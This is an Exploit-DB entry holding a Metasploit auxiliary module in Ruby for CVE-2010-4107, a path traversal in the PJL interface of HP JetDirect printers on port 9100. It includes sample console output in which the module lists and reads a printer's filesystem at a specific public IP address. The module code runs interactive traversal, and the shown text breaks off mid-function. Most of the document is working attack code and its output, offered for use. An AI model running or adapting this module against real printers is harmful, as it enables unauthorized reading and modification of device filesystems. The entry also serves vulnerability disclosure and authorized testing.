Exploit-DB #17635
Description: HP JetDirect PJL - Interface Universal Directory Traversal (Metasploit)
Type: remote
Platform: hardware
Date: 2011-08-07
Author: Myo Soe

Exploit:
# Exploit Title: HP JetDirect PJL Interface Universal Path Traversal
# Date: Aug 7, 2011
# Author: Myo Soe <YGN Ethical Hacker Group - http://yehg.net/>
# Software Link: http://www.hp.com
# Version: All
# Tested on: HP LaserJet Pxxxx Series

##
# $Id: $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


##
# Sample Output:
# 
#
# msf auxiliary(hp_printer_pjl_traversal) > show options
# 
# Module options (auxiliary/admin/hp_printer_pjl_traversal):
# 
#    Name         Current Setting  Required  Description
#    ----         ---------------  --------  -----------
#    INTERACTIVE  false            no        Enter interactive mode [msfconsole Only]
#    RHOST        202.138.16.21    yes       The target address
#    RPATH        /                yes       The remote filesystem path to browse or read
#    RPORT        9100             yes       The target port
# 
# 
# msf auxiliary(hp_printer_pjl_traversal) > run
# 
# [*] cd / ...
# [+] Server returned the following response:
# 
# . TYPE=DIR
# .. TYPE=DIR
# bin TYPE=DIR
# usr TYPE=DIR
# etc TYPE=DIR
# hpmnt TYPE=DIR
# hp TYPE=DIR
# lib TYPE=DIR
# dev TYPE=DIR
# init TYPE=FILE SIZE=9016
# .profile TYPE=FILE SIZE=834
# tmp TYPE=DIR
# 
# 
# msf auxiliary(hp_printer_pjl_traversal) > set INTERACTIVE true
# INTERACTIVE => true
# msf auxiliary(hp_printer_pjl_traversal) > set RPATH /hp
# RPATH => /hp
# msf auxiliary(hp_printer_pjl_traversal) > run
# 
# [*] Entering interactive mode ...
# [*] cd /hp ...
# [+] Server returned the following response:
# 
# . TYPE=DIR
# .. TYPE=DIR
# app TYPE=DIR
# lib TYPE=DIR
# bin TYPE=DIR
# webServer TYPE=DIR
# images TYPE=DIR
# DemoPage TYPE=DIR
# loc TYPE=DIR
# AsianFonts TYPE=DIR
# data TYPE=DIR
# etc TYPE=DIR
# lrt TYPE=DIR
# 
# [*] Current RPATH: /hp
# [*] -> 'quit' to exit
# [*] ->'/' to return to file system root
# [*] ->'..' to move up to one directory
# [*] ->'!r FILE' to read FILE on current directory
# 
# [*] Enter RPATH:
# $ > webServer/config
# [*] cd /hp/webServer/config ...
# [+] Server returned the following response:
# 
# . TYPE=DIR
# .. TYPE=DIR
# soe.xml TYPE=FILE SIZE=23615
# version.6 TYPE=FILE SIZE=45
# 
# 
# [*] Current RPATH: /hp/webServer/config
# [*] -> 'quit' to exit
# [*] ->'/' to return to file system root
# [*] ->'..' to move up to one directory
# [*] ->'!r FILE' to read FILE on current directory
# 
# [*] Enter RPATH:
# $ > !r version.6
# [*] cat /hp/webServer/config/version.6 ...
# [+] Server returned the following response:
# 
# WebServer directory version.  Do not delete!
# 
# 
# [*] Current RPATH: /hp/webServer/config
# [*] -> 'quit' to exit
# [*] ->'/' to return to file system root
# [*] ->'..' to move up to one directory
# [*] ->'!r FILE' to read FILE on current directory
# 
# [*] Enter RPATH:
# $ > quit
# [*] Exited ... Have fun with your Printer!
# [*] Auxiliary module execution completed



require 'msf/core'

class Metasploit3 < Msf::Auxiliary

	include Msf::Exploit::Remote::Tcp

	def initialize(info={})
		super(update_info(info,
			'Name'        => 'HP JetDirect PJL Interface Universal Path Traversal',
			'Version'     => '$Revision: 1 $',
			'Description'	=> %q{
				This module exploits path traveresal issue in possibly all HP network-enabled printer series, especially those which enable Printer Job Language (aka PJL) command interface through the default JetDirect port 9100. 
				With the decade-old dot-dot-slash payloads, the entire printer file system can be accessed or modified.
			},
			'Author'      => [
					'Moritz Jodeit <http://www.nruns.com/>', # Bug Discoverer
					'Myo Soe <YGN Ethical Hacker Group, http://yehg.net/>' # Metasploit Module					
					],
			'License'     => MSF_LICENSE,
			'References'     =>
			[
				[ 'CVE', '2010-4107' ],
				[ 'URL', 'http://www.nruns.com/_downloads/SA-2010%20003-Hewlett-Packard.pdf' ],				
				[ 'URL', 'http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?objectID=c02004333' ],				
				[ 'URL', 'http://www.irongeek.com/i.php?page=security/networkprinterhacking' ],
				[ 'URL', 'https://github.com/urbanadventurer/WhatWeb/blob/master/plugins/HP-laserjet-printer.rb' ],
				[ 'URL', 'https://github.com/urbanadventurer/WhatWeb/blob/master/plugins/HP-OfficeJet-Printer.rb' ],
				[ 'URL', 'http://core.yehg.net/lab/#tools.exploits' ]
			],
			'DisclosureDate' => '2010-11-15'))
		
		register_options(
		[

			OptString.new('RPATH',
					[
						true,
						"The remote filesystem path to browse or read",
						"/"
					]
				),
			OptBool.new('INTERACTIVE',
								[
									false,
									"Enter interactive mode [msfconsole Only]",
									false
								]
							),
				
			Opt::RPORT(9100)
		],self.class)
		

	end

	def run
		mode = datastore['INTERACTIVE']

		if mode	== true
			set_interactive(datastore['RPATH'])
		else
			set_onetime(datastore['RPATH'])
		end
	end
	
	def set_interactive(spath)
		action = 'DIR'
		rpath =  spath
		rfpath = ''
		tmp_path = ''
		tmp_file = ''
		cur_dir = '/'
		
		print_status("Entering interactive mode")
		stop = false
		
		set_onetime(rpath)
		
		until stop == true		
			print_status("Current RPATH: #{rpath}")
			print_status("-> 'quit' to exit")
			print_status("->'/' to return to file system root")
			print_status("->'..' to move up to one directory")
			print_status("->'!r FILE' to read FILE on current directory\r\n")
			print_status("Enter RPATH:")
			print("$ > ")

			tmp_path = gets.chomp.to_s	
			

			if tmp_path =~ /\.\./ && rpath.length > 2
				old_path = rpath
				new_path = rpath[0,rpath.rindex('/')]
				if new_path != nil
					rpath = new_path
				else
					rpath